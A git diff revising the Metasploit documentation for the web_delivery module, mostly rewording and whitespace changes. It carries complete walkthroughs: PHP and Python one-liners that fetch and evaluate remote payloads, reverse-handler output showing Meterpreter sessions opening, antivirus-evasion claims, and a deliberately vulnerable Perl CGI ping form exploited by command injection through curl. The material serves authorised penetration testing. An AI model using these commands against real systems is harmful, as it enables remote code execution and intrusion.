diff --git a/documentation/modules/exploit/multi/script/web_delivery.md b/documentation/modules/exploit/multi/script/web_delivery.md index a1c82d3f27..a9bcc15013 100644 --- a/documentation/modules/exploit/multi/script/web_delivery.md +++ b/documentation/modules/exploit/multi/script/web_delivery.md @@ -1,16 +1,13 @@ -As a web server, the web_delivery module provides a stealthy way to deliver a payload during post exploitation because the payload does not touch the disk. +The web_delivery module provides a stealthy way to deliver a payload during post exploitation over HTTP or HTTPS. Because the payload does not touch the disk, it can easily bypass many anti-virus protections. -Currently, web_delivery supports three different languages for delivery: Python, PHP, and -Powershell. You should be able to tell which one you can use based on the target environment -you are in. +The web_delivery module supports three different languages for delivery: Python, PHP, and +Powershell. You should manually select the correct target based on the victim environment you are exploiting. -For example, if you gained access through a PHP application, it's safe to assume you can use PHP. If you're in a Windows server, such as Windows Server 2008, then it's probably safe to say the target supports Powershell. +For example, if you have gained remote access through a PHP application, it is likely you can use PHP. If you are in a modern Windows server environment, then you can usually assume the target supports Powershell as well. ## Verification Steps -To be able to use the web_delivery module, you must gain access to the target machine first, with the ability to execute either the Python, or PHP, or Powershell interpreter. - -At that point, you would use the web_delivery module like in the following example: +To use the web_delivery module, you must first gain access to the target host and be able to execute either a Python, PHP, or Powershell interpreter. Then, follow these steps to proceed with exploitation: 1. Start msfconsole 2. Run: ```use exploit/multi/script/web_delivery``` @@ -20,56 +17,50 @@ At that point, you would use the web_delivery module like in the following examp 6. Do: ```run``` 7. At this point, a handler is up for that payload, and the module should instruct you to execute a command. 8. Copy the command. Depending on your pentesting scenario, you can either inject the - command and get code execution, or run it from the target's shell and get a session: + command into a vulnerable application, or run it from the target's shell and get a session: ``` msf exploit(web_delivery) > run [*] Exploit running as background job. -[*] Started reverse TCP handler on 172.16.23.1:4444 +[*] Started reverse TCP handler on 192.168.2.1:4444 msf exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/z5inGkwCCQiz9 [*] Local IP: http://10.6.0.86:8080/z5inGkwCCQiz9 [*] Server started. [*] Run the following command on the target machine: -php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.23.1:8080/z5inGkwCCQiz9'));" +php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.1:8080/z5inGkwCCQiz9'));" [*] Delivering Payload -[*] Sending stage (33684 bytes) to 172.16.23.134 -[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.134:41684) at 2016-03-02 11:41:34 -0600 +[*] Sending stage (33684 bytes) to 192.168.2.134 +[*] Meterpreter session 1 opened (192.168.2.1:4444 -> 192.168.2.134:41684) at 2016-03-02 11:41:34 -0600 ``` ## Targets **Python** -Python is a fairly popular language, especially on Unix-based systems. By default, it has come with Ubuntu Linux since 8.04, as well as Debian, and Mac OS X since 10.3. +Python is a popular language, especially on Unix-based systems. It has shipped by default with Ubuntu Linux since version 8.04, Mac OS X since version 10.3, and is widely available on other systems as well. **PHP** -PHP is a fairly popular language for web servers, especially Apache. +PHP is often found on web servers, especially in shared hosting environments. It is the basis for popular web applications such as WordPress, Joomla, and Drupal. **Powershell/Windows** -Powershell is a popular language for newer Windows systems. Windows 7 and Windows Server 2008 R2 -are the first Windows versions to come with Powershell by default. Older Windows systems such as XP -don't come with it by default, but it is still possible to see it installed on a corporate network. +Powershell is a popular language on modern Windows systems, largely replacing batch files and Windows Scripting Host for Windows automation. Windows 7 and Windows Server 2008 R2 were the first versions to come with Powershell by default. Older Windows systems, such as XP and Server 2003, can still have it installed as an optional component. ## Scenarios **Against a compromised web application** -web_delivery would work nicely for a web application with a command execution vulnerability. - -One way to approach this would be: +web_delivery works nicely against a web application with a command execution vulnerability. One way to approach this would be: 1. Start exploit/multi/script/web_delivery 2. Use [Burp Suite](https://portswigger.net/burp/) to intercept the HTTP/HTTPS request, place the command in the parameter that results in arbitrary code execution. -3. Hopefully the modified HTTP/HTTPS request is successful, and you should get a session. +3. If the modified HTTP/HTTPS request is successful, you should get a session. **Shell upgrade** -web_delivery is also useful to upgrade a shell type payload to a Meterpreter one. - -Here's how that can be done: +web_delivery is also useful to upgrade a shell type payload to a Meterpreter one. Here's how that can be done: 1. Start `exploit/multi/script/web_delivery` that generates the command to inject. 2. Interact with the shell, and copy/paste the command. @@ -93,13 +84,13 @@ msf auxiliary(ssh_login) > run [*] Command shell session 1 opened (192.168.2.117:35219 -> 192.168.2.156:22) at 2017-03-05 19:57:53 -0500 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf auxiliary(ssh_login) > use exploit/multi/script/web_delivery +msf auxiliary(ssh_login) > use exploit/multi/script/web_delivery msf exploit(web_delivery) > set lhost 192.168.2.117 lhost => 192.168.2.117 msf exploit(web_delivery) > run [*] Exploit running as background job. -[*] Started reverse TCP handler on 192.168.2.117:4444 +[*] Started reverse TCP handler on 192.168.2.117:4444 [*] Using URL: http://0.0.0.0:8080/DovbvqRaB [*] Local IP: http://192.168.2.117:8080/DovbvqRaB [*] Server started. @@ -115,7 +106,7 @@ python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/Dovbvq ^Z Background session 1? [y/N] y - + msf exploit(web_delivery) > sessions -i 2 [*] Starting interaction with 2... @@ -124,18 +115,18 @@ Computer : Ubuntu14 OS : Linux 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 Architecture : x64 Meterpreter : python/linux -meterpreter > +meterpreter > ``` ## Vulnerable Pages ### Perl cgi -These instructions will create a cgi environment and a vulnerable perl application for exploitation. Kali rolling (2016.2) was utilized for this tutorial. +These instructions will create a cgi environment and a vulnerable perl application for exploitation. We used Kali rolling (2016.2) for this tutorial. #### Setup -In this example we make a `post` form that pings a user provided IP, which is a typical funtion on many routers and is often abused a similar manner. +In this example, we make a `post` form that pings a user provided IP, which is a typical funtion on many routers and is often abused a similar manner. 1. Enable cgi: `a2enmod cgid` 2. `mkdir /var/www/cgi-bin` @@ -200,7 +191,7 @@ www-data ``` [*] Exploit running as background job. -[*] Started reverse TCP handler on 192.168.2.117:4444 +[*] Started reverse TCP handler on 192.168.2.117:4444 [*] Using URL: http://0.0.0.0:8080/vNPlsjE [*] Local IP: http://192.168.2.117:8080/vNPlsjE [*] Server started. @@ -220,7 +211,7 @@ or we can exploit via curl after escaping the double quotes. Note we use `--dat msf exploit(web_delivery) > exploit [*] Exploit running as background job. -[*] Started reverse TCP handler on 192.168.2.117:4444 +[*] Started reverse TCP handler on 192.168.2.117:4444 [*] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp [*] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp [*] Server started. @@ -257,10 +248,10 @@ In this example we make a `post` form that pings a user provided IP, which is a ``` - "); - } + } print("
exploit [*] Exploit running as background job. -[*] Started reverse TCP handler on 192.168.2.117:4444 +[*] Started reverse TCP handler on 192.168.2.117:4444 [*] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp [*] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp [*] Server started. @@ -341,4 +332,4 @@ msf exploit(web_delivery) > curl -X POST http://127.0.0.1/cgi-bin/example.pl --d [*] Sending stage (33986 bytes) to 192.168.2.117 [*] Meterpreter session 3 opened (192.168.2.117:4444 -> 192.168.2.117:48144) at 2017-03-04 15:39:05 -0500 100 1132 0 971 100 161 440 73 0:00:02 0:00:02 --:--:-- 440^CInterrupt: use the 'exit' command to quit -``` \ No newline at end of file +```